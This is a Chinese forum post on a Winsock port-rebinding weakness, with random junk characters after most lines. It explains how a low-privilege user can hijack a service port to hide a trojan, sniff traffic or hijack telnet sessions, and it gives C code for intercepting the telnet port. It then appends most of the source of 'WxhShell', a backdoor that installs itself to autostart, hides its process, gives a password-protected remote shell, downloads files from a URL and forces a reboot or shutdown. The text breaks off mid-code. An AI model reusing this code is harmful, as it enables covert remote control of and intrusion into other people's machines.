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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X(Z(cY(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z1] 4:  
uI I! ?   
  saddr.sin_family = AF_INET; G?Za/G  
 } #&L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |+qsO ;  
!=u=P9I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _`,ZI{.J^  
/L./-92NH4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u~~ ~@p  
Emw]`  
  这意味着什么?意味着可以进行如下的攻击: v4Kf{9q#  
]2A2<Q_,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?6h~P:n.  
n3$u9!|P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d ]jF0Wx*  
3EE_"}H>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t[MM=6|Wb  
"6v_<t`q"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n$E$@  
S>jOVWB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E%a&6W  
Z/ L%?zH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 { _Y'%Ggh  
7G0;_f{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f+\UVq?  
 ^mN`!+  
  #include +Eel|)Z*Q  
  #include G2b"R{i/,  
  #include Bm<tCN-4  
  #include    !/X>k{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \S{ihS@J  
  int main() {Z178sik  
  { uuL(BUGt-  
  WORD wVersionRequested; a %?v/Ku  
  DWORD ret; XJk~bgO*  
  WSADATA wsaData; _,igN>  
  BOOL val; ,$RXN8x1  
  SOCKADDR_IN saddr; qLl4t/p  
  SOCKADDR_IN scaddr; {aUv>T"c  
  int err; We'=/!  
  SOCKET s; C 'S_M@I=  
  SOCKET sc; TP)o0U  
  int caddsize; P ,rLyx   
  HANDLE mt; dux_v"Xl  
  DWORD tid;   y. (m#&T  
  wVersionRequested = MAKEWORD( 2, 2 ); *:`fgaIDa  
  err = WSAStartup( wVersionRequested, &wsaData ); O3pd5&^g  
  if ( err != 0 ) { .')^4\  
  printf("error!WSAStartup failed!\n"); Mky^X,r  
  return -1; - b`  
  } J/PK #<  
  saddr.sin_family = AF_INET;  '{cFr  
   6rO^ p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u`Kc\B Sn  
ft0tRv(s:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :^FH.6}x  
  saddr.sin_port = htons(23); 5r d t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I*/:rb  
  { 1[- `*Ph  
  printf("error!socket failed!\n"); @g*[}`8]y  
  return -1; q ;_?e_  
  } ++ObsWZ  
  val = TRUE; @X=sfygk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u#Bj#y!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]I]G3 e  
  { CZ%KC$l.5  
  printf("error!setsockopt failed!\n"); 17w{hK4o8O  
  return -1; z]=Ks_7  
  } qoW$Iw*q)B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JIc9csr:b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p:ZQ*Ue  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )QmmI[,tq  
 Bgai|l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ::3[H$  
  { P$3!4D[  
  ret=GetLastError(); }g[Hi`  
  printf("error!bind failed!\n"); B}aW y&D  
  return -1; 0BAZWm  
  } D7c+/H@PF  
  listen(s,2); #W8c)gkG9  
  while(1) >,rzPc)  
  { tA9Ew{3s  
  caddsize = sizeof(scaddr); V P7LKfv  
  //接受连接请求 f<R 3ND)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1k"i"kRM  
  if(sc!=INVALID_SOCKET) ?Qts2kae#  
  { ,eL&Ner  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?wjk=hM2  
  if(mt==NULL) Ad -_=a%  
  { b0tbS[j  
  printf("Thread Creat Failed!\n"); P8tCzjrV  
  break; .R S  
  } LOgB_$9_3  
  } ]]5(:>l  
  CloseHandle(mt); PC%_^BDW  
  } "k),;1  
  closesocket(s); EAF\ 7J*  
  WSACleanup(); 7mb5z/N  
  return 0; MJK PpQ(,  
  }   U)z1RHP|z  
  DWORD WINAPI ClientThread(LPVOID lpParam) dp3TJZ+U  
  { h^J :k  
  SOCKET ss = (SOCKET)lpParam; IY?o \vC  
  SOCKET sc; b}N \h<\G  
  unsigned char buf[4096]; f_:>36{1^!  
  SOCKADDR_IN saddr; >(sS4_O7N  
  long num; N0ZD+  
  DWORD val; :rvBx"  
  DWORD ret; -{yG+1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T{BGg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0+A#k7c6p  
  saddr.sin_family = AF_INET; f1d<xGx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _ CzAv%  
  saddr.sin_port = htons(23); aecvz0}@R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EE qlsH  
  { 0BOL0<Wq  
  printf("error!socket failed!\n"); t V7{j'If  
  return -1; cr^R9dv  
  } "7?xaGh8  
  val = 100; 1+tPd7U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^SwU]e  
  { ikPr>  
  ret = GetLastError(); 7 S%`]M4;  
  return -1; % <h2^H\O  
  } V. o*`V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J!'IkC$>  
  { >Q)S-4iR  
  ret = GetLastError(); g G|4+' t  
  return -1; 4&~*;an7  
  } I*(7(>zgyv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <(us(zbk]  
  { \/r]Ra  
  printf("error!socket connect failed!\n"); 4 @9cO)m  
  closesocket(sc); Lf8{']3  
  closesocket(ss); &7c#i  
  return -1; tTJ$tx  
  } 'RR,b*Ql  
  while(1) ?Y9VviC  
  { YJwffV}nd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 };cH5bYF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w/7vXz<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U,aMv[ZB  
  num = recv(ss,buf,4096,0); hllb\Y)XL  
  if(num>0) D,s[{RW+q  
  send(sc,buf,num,0); B{1yMJA  
  else if(num==0) 1rh2!4)7  
  break; cP0(Q+i7  
  num = recv(sc,buf,4096,0); iM]&ryGB#  
  if(num>0) 1w>G8  
  send(ss,buf,num,0); o6r ^  
  else if(num==0) r;fcBepO  
  break; 8sL+ik"  
  } j*_#{niy:  
  closesocket(ss); 5)M#hx%]#  
  closesocket(sc); o^BX:\}  
  return 0 ; yLt>OA<X  
  } VO*fC  
]Vf2Mn=]"  
SLud}|f;o  
========================================================== 9cMMkOM J  
(HeIO  
下边附上一个代码,,WXhSHELL :NWrbfz  
{d,^tG}  
========================================================== Km0P)Z  
?:RWHe.P  
#include "stdafx.h" c5{3  
SxM5'KQ  
#include <stdio.h> w)gMJX/0yw  
#include <string.h> 0-U%R)Q  
#include <windows.h> J5\2`U_FZ  
#include <winsock2.h> JRw)~Tg @  
#include <winsvc.h> zZ])G  
#include <urlmon.h> 46c0;E\9  
?qtL*;  
#pragma comment (lib, "Ws2_32.lib") BCr*GtR)W  
#pragma comment (lib, "urlmon.lib") 5OC3:%g  
SJ:Wr{ Or3  
#define MAX_USER   100 // 最大客户端连接数 0U:9&j P,  
#define BUF_SOCK   200 // sock buffer ^^gV@fz  
#define KEY_BUFF   255 // 输入 buffer 0ac'<;9]zP  
"=9)|{=m  
#define REBOOT     0   // 重启 @z(s\T  
#define SHUTDOWN   1   // 关机 m pM,&7}  
NW?h~2  
#define DEF_PORT   5000 // 监听端口 XN'<H(G  
Fi#b0S  
#define REG_LEN     16   // 注册表键长度 U9q6m3#$  
#define SVC_LEN     80   // NT服务名长度 Za1VJ5-  
-O[9{`i]  
// 从dll定义API t$*CyYb{@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y1Yrf,E m=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Hp3T2|uL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |B@\Nf7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +/8KN  
Yo2n [  
// wxhshell配置信息 ~g;lVj,N'  
struct WSCFG { 0S>U_#-  
  int ws_port;         // 监听端口 XO4rrAYvW  
  char ws_passstr[REG_LEN]; // 口令 u[coWaPsZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ldWr-  
  char ws_regname[REG_LEN]; // 注册表键名 .^uYr^( |[  
  char ws_svcname[REG_LEN]; // 服务名 xA"7a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^g n7DiIPH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u_ym=N57`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eHI7= [h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jgf= yri  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gz"I=9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JA^Y:@<{/  
4B@L<Rl{\  
}; },tn  
[Ma d~;  
// default Wxhshell configuration U~{sJwB  
struct WSCFG wscfg={DEF_PORT, y Ide]  
    "xuhuanlingzhe", wqf^n-Ze  
    1, sVT\e*4m}  
    "Wxhshell", =h}IyY@o  
    "Wxhshell", J"]P" `/  
            "WxhShell Service", {K+]^M  
    "Wrsky Windows CmdShell Service", lnRbvulH  
    "Please Input Your Password: ", MIWI0bnf  
  1, cvQ MZ,p  
  "http://www.wrsky.com/wxhshell.exe", \Y}nehxG@  
  "Wxhshell.exe" /g]m,Y{OI  
    }; VtC1TZ3-7  
28PT1 9&  
// 消息定义模块 t0gLz J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5oE!^bF?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (8OaXif  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EU-=\Y  
char *msg_ws_ext="\n\rExit."; TZ%u;tBH:  
char *msg_ws_end="\n\rQuit."; 6/eh~ME=  
char *msg_ws_boot="\n\rReboot..."; F;_L/8Ov1  
char *msg_ws_poff="\n\rShutdown..."; ?W4IAbT\G  
char *msg_ws_down="\n\rSave to "; [#6Eax,j  
Ym "Nj  
char *msg_ws_err="\n\rErr!"; X'h J&-[P  
char *msg_ws_ok="\n\rOK!"; w>$2  
xQ7-4 N,  
char ExeFile[MAX_PATH]; sDvtk]4o-4  
int nUser = 0; dzPwlCC%-  
HANDLE handles[MAX_USER]; Z2u5n`K  
int OsIsNt; 2kU=9W6ND  
#97w6,P+  
SERVICE_STATUS       serviceStatus; f_GqJ7Gk]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N_"mC^Vx  
H{3A6fb<  
// 函数声明 :If1zB)  
int Install(void); wWR9dsB.;  
int Uninstall(void); `FL!L59nz  
int DownloadFile(char *sURL, SOCKET wsh); @I^LmB9*  
int Boot(int flag); 5%n  
void HideProc(void); W{2(fb  
int GetOsVer(void); Q>}*l|Ci  
int Wxhshell(SOCKET wsl); I`e |[k2  
void TalkWithClient(void *cs); J 4EG  
int CmdShell(SOCKET sock); NbtNu$%t  
int StartFromService(void); O7z -4r  
int StartWxhshell(LPSTR lpCmdLine); U`fxe`nVa  
2_]"9d4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  XVKR}I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2nGQD{  
%l7|+%M.{  
// 数据结构和表定义 n/fMq,<8  
SERVICE_TABLE_ENTRY DispatchTable[] = %2)'dtPD~  
{ lC ^NhQi  
{wscfg.ws_svcname, NTServiceMain}, *?Sp9PixP  
{NULL, NULL}  #{8n<sE  
}; EJrn4QOs  
J `8bh~7  
// 自我安装 vpGeG  
int Install(void) LL1HDG >l  
{ T>ds<MaLP  
  char svExeFile[MAX_PATH]; x !o>zT\  
  HKEY key; F(i@Gm=J]  
  strcpy(svExeFile,ExeFile); <e 'S'  
j7|r^  
// 如果是win9x系统,修改注册表设为自启动 ;nbUbRb  
if(!OsIsNt) { P]4C/UDS-~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BtN@P23>k.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )wROPA\uA  
  RegCloseKey(key); MR@*09zP(?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  OBCRZ   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4M&6q(389  
  RegCloseKey(key); Ol9'ZB|R  
  return 0; wtDy-H n  
    } ` qqUuFMM  
  } <-:gaA`KM  
} |3?qL  
else { O)qedy*&  
'K=n}}&:  
// 如果是NT以上系统,安装为系统服务 \)?[1b&[_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TrHz(no  
if (schSCManager!=0) H *gF>1  
{ G#&R/Tc5N  
  SC_HANDLE schService = CreateService >d&_e[j  
  ( 0N~AQu  
  schSCManager, gZ*8F|sg  
  wscfg.ws_svcname, IZV D.1  
  wscfg.ws_svcdisp, .OHjn|  
  SERVICE_ALL_ACCESS, }l/ !thzC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h4 s!VK1X  
  SERVICE_AUTO_START, R&BbXSIDX  
  SERVICE_ERROR_NORMAL, vt" 7[!O  
  svExeFile, ptXLWv`  
  NULL, 4A_}:nU  
  NULL, E5P?(5Nv  
  NULL, ugtb`d{ Sl  
  NULL, ]C =+  
  NULL <B*}W2\  
  ); %{*}KsS`p  
  if (schService!=0) TlD)E  
  { 9WaKsdf  
  CloseServiceHandle(schService); %Bo/vB'  
  CloseServiceHandle(schSCManager); 6^pddGIG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xG05OqKpE  
  strcat(svExeFile,wscfg.ws_svcname); 6Hz45  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %.kJ@@_e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }kaU0 P  
  RegCloseKey(key); = X?jId{  
  return 0; s5X .(;+  
    } gOpGwpYZ,  
  } R<+K&_  
  CloseServiceHandle(schSCManager);  opK=Z  
} Ldnw1xy  
} 2-9'zN0u  
T.vkGB=QZ%  
return 1; 1'dL8Y  
} 6@TGa%:G  
$\xS~ w  
// 自我卸载 *%^Vq  
int Uninstall(void) iol.RszlZ|  
{ &y?L^Aq  
  HKEY key; DS,"^K  
}5Yd:%u5  
if(!OsIsNt) { v*+.;60_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _e<3 g9bj  
  RegDeleteValue(key,wscfg.ws_regname); m"P"iK/Av(  
  RegCloseKey(key); )]"aa_20]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?d)I!x,;;  
  RegDeleteValue(key,wscfg.ws_regname); IG?044Y  
  RegCloseKey(key); Fh u(u  
  return 0; :^+ aJ]  
  } Suixk'-  
} **L. !/  
} 9S ~!!7oj  
else { ENwDW#U9  
ln#Jb&u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DGMvYNKTj  
if (schSCManager!=0) %UuV^C  
{ XOQj?Q7)U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +~Ni7Dp]  
  if (schService!=0) Hf( d x\5  
  { _Y '+E  
  if(DeleteService(schService)!=0) { kK2x';21  
  CloseServiceHandle(schService); #M;Cw}pW  
  CloseServiceHandle(schSCManager); 0GW(?7ZC  
  return 0; @GzEhv  
  } R=jIVw'  
  CloseServiceHandle(schService); ">QNiR!  
  } yDBS : \  
  CloseServiceHandle(schSCManager); m&xyw9a  
} X kZ82w#b  
} @G  0k+  
RI_:~^nO{r  
return 1; qk pnXQ  
} tgn_\-+  
@#q>(Ox%  
// 从指定url下载文件 |A".Mo_5  
int DownloadFile(char *sURL, SOCKET wsh) IP'gN-#i  
{ dALJlRo"  
  HRESULT hr; $gm`}3C<  
char seps[]= "/"; %zx=rn(K  
char *token; &?\ h[3  
char *file; f)x^s$H  
char myURL[MAX_PATH]; ;h> s=D,r  
char myFILE[MAX_PATH]; (P {o9  
V QE *B  
strcpy(myURL,sURL); 4R5+"h:  
  token=strtok(myURL,seps); V:*QK,  
  while(token!=NULL) M#II,z>q  
  { 9V*h:[6a(  
    file=token; ZSj^\JU  
  token=strtok(NULL,seps); @N?A 0S/  
  } \^9SuZ  
uop|8n1  
GetCurrentDirectory(MAX_PATH,myFILE); f5jxF"oGNo  
strcat(myFILE, "\\"); Q70LQCms  
strcat(myFILE, file); %\8E{M:  
  send(wsh,myFILE,strlen(myFILE),0); (Hqy^EOZ  
send(wsh,"...",3,0); V3&_ST  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YNCQPN\v`1  
  if(hr==S_OK) fMaUIJ:Q9  
return 0; Nq|b$S[4  
else <$)F_R~T3  
return 1; z mvF#o  
.Ua|KKK C  
} xh[De}@  
5 3=zHYQ  
// 系统电源模块 b]s.h8+v;  
int Boot(int flag) 4:Adn?"  
{ 8 ;oU{  
  HANDLE hToken; zmk#gk2H  
  TOKEN_PRIVILEGES tkp; sFaboI  
<%fcs"Mb  
  if(OsIsNt) { 4J3cQ;z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X_Vj&{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W%@L7xh  
    tkp.PrivilegeCount = 1; ^nn3;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1Ao YG_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,TY&N-  
if(flag==REBOOT) { B.nq3;Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [ UN`~  
  return 0; )N!-g47o%#  
} ]Z?$ 5Ks  
else { ~3bn?'`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jsf -t  
  return 0; R(Y4nw+Y-  
} Jybx'vZj  
  } >(Mu9ie*`  
  else { bgs2~50  
if(flag==REBOOT) { Ym~*5|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KF&1Y>t=  
  return 0; .iFd  
} #Pi}2RBRu  
else { hawE2k0p(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S~auwY,<  
  return 0; nzI}w7>VU  
} _l}"gUtiw  
} Q$_S/d%*  
G%N3h'zDi  
return 1; VHhW_ya1g{  
} o'S&YD  
`* !t<?$i  
// win9x进程隐藏模块 S7SD$+fX  
void HideProc(void) %j9'HtjEa  
{ <a_Q1 l  
Bd8,~8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~$7fU  
  if ( hKernel != NULL ) <{U "0jY!9  
  { HS!O;7s'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -' 7I|r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :G?6Hl)~)  
    FreeLibrary(hKernel); m}Z=m8  
  } gKK*` L~  
)sg@HFhY'  
return; j_2-  
} xf/ SUO F  
8jyg1NN D  
// 获取操作系统版本 `8$gaA*  
int GetOsVer(void) Z~O1$,Z  
{ Aa^%_5  
  OSVERSIONINFO winfo; i^LLKx7M&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kI5`[\  
  GetVersionEx(&winfo); c=]z%+,b]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]AjDe]  
  return 1; Ar@" K!TS  
  else 5[\mwUA  
  return 0; 6`$HBX%.K  
} 0&!,+  
__Ei;%cV  
// 客户端句柄模块  #P8R  
int Wxhshell(SOCKET wsl) mouLjT&p  
{ Q)}_S@v|%  
  SOCKET wsh; _G]f v'  
  struct sockaddr_in client; VFLxxFJ  
  DWORD myID; \OMWE/qMy  
 +c@s  
  while(nUser<MAX_USER) cTW3\S=  
{ 5v:c@n  
  int nSize=sizeof(client); O=c^Ak   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WZkAlg7Z  
  if(wsh==INVALID_SOCKET) return 1; 0'ha!4h3Z  
9/N=7<$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Hk)IV"[R  
if(handles[nUser]==0) w#EP`aM2$=  
  closesocket(wsh); |y+<|fb,a  
else 'urn5[i  
  nUser++; Jr/|nhGl5  
  } CT1)tRN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fhCMbq4T  
a`XXz  
  return 0; ^ ,`;x  
} tz{W69k+  
24u;'i-y5  
// 关闭 socket v[efM8  
void CloseIt(SOCKET wsh) 0"q^`@sZ  
{ $ekJs/I&  
closesocket(wsh); . e' vc  
nUser--; $ f`\TKlN  
ExitThread(0); L8"0o 0-  
} HFV4S]U=  
3\J-=U  
// 客户端请求句柄 @k_xA-a  
void TalkWithClient(void *cs) 1_}* aQ  
{ F2QX ^*  
&gdtI  
  SOCKET wsh=(SOCKET)cs; U&W{;myt  
  char pwd[SVC_LEN]; y_bb//IAG  
  char cmd[KEY_BUFF]; o#wDA0T  
char chr[1]; 6wk/IJ`  
int i,j; pF~[  
*` }Rt  
  while (nUser < MAX_USER) { u(W%snl  
Q2wEt >0a  
if(wscfg.ws_passstr) { Y/\y"a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gt9(@USK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m:EO}ws=  
  //ZeroMemory(pwd,KEY_BUFF); *_Y{wNF *  
      i=0; EjZ_|Q  
  while(i<SVC_LEN) { bDh,r!I  
:q6j{C(  
  // 设置超时 kjW Y{7b!  
  fd_set FdRead; E yJWi<  
  struct timeval TimeOut; Oj6PmUK4  
  FD_ZERO(&FdRead); <5oG[1j  
  FD_SET(wsh,&FdRead); ;| (_;d  
  TimeOut.tv_sec=8; [l;9](\8O  
  TimeOut.tv_usec=0; {.vU;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r`? bYoz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  U/v }4b  
tbbZGyg5b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v(uYso_  
  pwd=chr[0]; 0Q\6GCzN\  
  if(chr[0]==0xd || chr[0]==0xa) { 6y;R1z b  
  pwd=0; bUR; d78  
  break; O3Jp:.ps  
  } yXg #<H6V  
  i++; DI/yHs  
    } 5i 56J1EC  
QFn .<@  
  // 如果是非法用户,关闭 socket R $vo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @m*^v\q<u  
} J!l/!Z>!cF  
}= )  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zCOzBL/1q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g\%vkK&I  
nP9zTa  
while(1) { ,MH9e!  
9 U6cM-p?  
  ZeroMemory(cmd,KEY_BUFF); ]xO`c  
+Usy  
      // 自动支持客户端 telnet标准   nJEm&"AI  
  j=0; Qfx:}zk{  
  while(j<KEY_BUFF) { ?OW!zE:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fU@{!;|Pz  
  cmd[j]=chr[0]; *{}Y :  
  if(chr[0]==0xa || chr[0]==0xd) { Kwc~\k  
  cmd[j]=0; Tyc`U&  
  break; V\C$/8v  
  } Y!M&8;>  
  j++; e!+_U C  
    } $kc*~V~   
Ygwej2  
  // 下载文件 N~<H`  
  if(strstr(cmd,"http://")) { +YS0yTWeX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gag=GHG  
  if(DownloadFile(cmd,wsh)) OQ,KQ\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $j ZU(<4,  
  else 7od6`k   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RgF5w<Vd.  
  } Rh%c<</`0s  
  else { F=/@D)hND  
;>#YOxPl  
    switch(cmd[0]) { s>i`=[qFc  
  Sb9O#$89  
  // 帮助 mW_B|dM"  
  case '?': { a!n |/9 6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a@>P?N~LA9  
    break; -F&4<\=+  
  } 1 uKWvp0\  
  // 安装 '?WKKYD7N  
  case 'i': { jHP6d =  
    if(Install()) +7HM7cw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +W{ELdup%q  
    else Het5{Yb.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Z2tTw'i  
    break; O@$wU9 D<  
    } ]!v:xjzT  
  // 卸载 @vy {Q7aM  
  case 'r': { 9DAk|K  
    if(Uninstall()) F;I %9-R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y|NL #F  
    else 8efQ -^b.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G-vBJlt=t  
    break; vMDX  
    } y":Y$v,P  
  // 显示 wxhshell 所在路径 epWTZV(1x  
  case 'p': { n/>^!S  
    char svExeFile[MAX_PATH]; -!p +^wC  
    strcpy(svExeFile,"\n\r"); :P!"'&gCL  
      strcat(svExeFile,ExeFile); Qxw?D4/Y  
        send(wsh,svExeFile,strlen(svExeFile),0); SCXH{8SS  
    break; u{Z 4M3U  
    } tEj-c@`"x-  
  // 重启 }ZP;kM$g  
  case 'b': { C(RZ09,.S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F4Jc7k2  
    if(Boot(REBOOT)) QT!!KTf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -AJ$-y  
    else { Nb[zm|.  
    closesocket(wsh); \]@XY_21  
    ExitThread(0); ^rHG#^hA  
    } Myal3UF  
    break; ]8Eci^i  
    } @xO?SjH  
  // 关机 e58   
  case 'd': { Z#J cN quM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fmDn1N-bG  
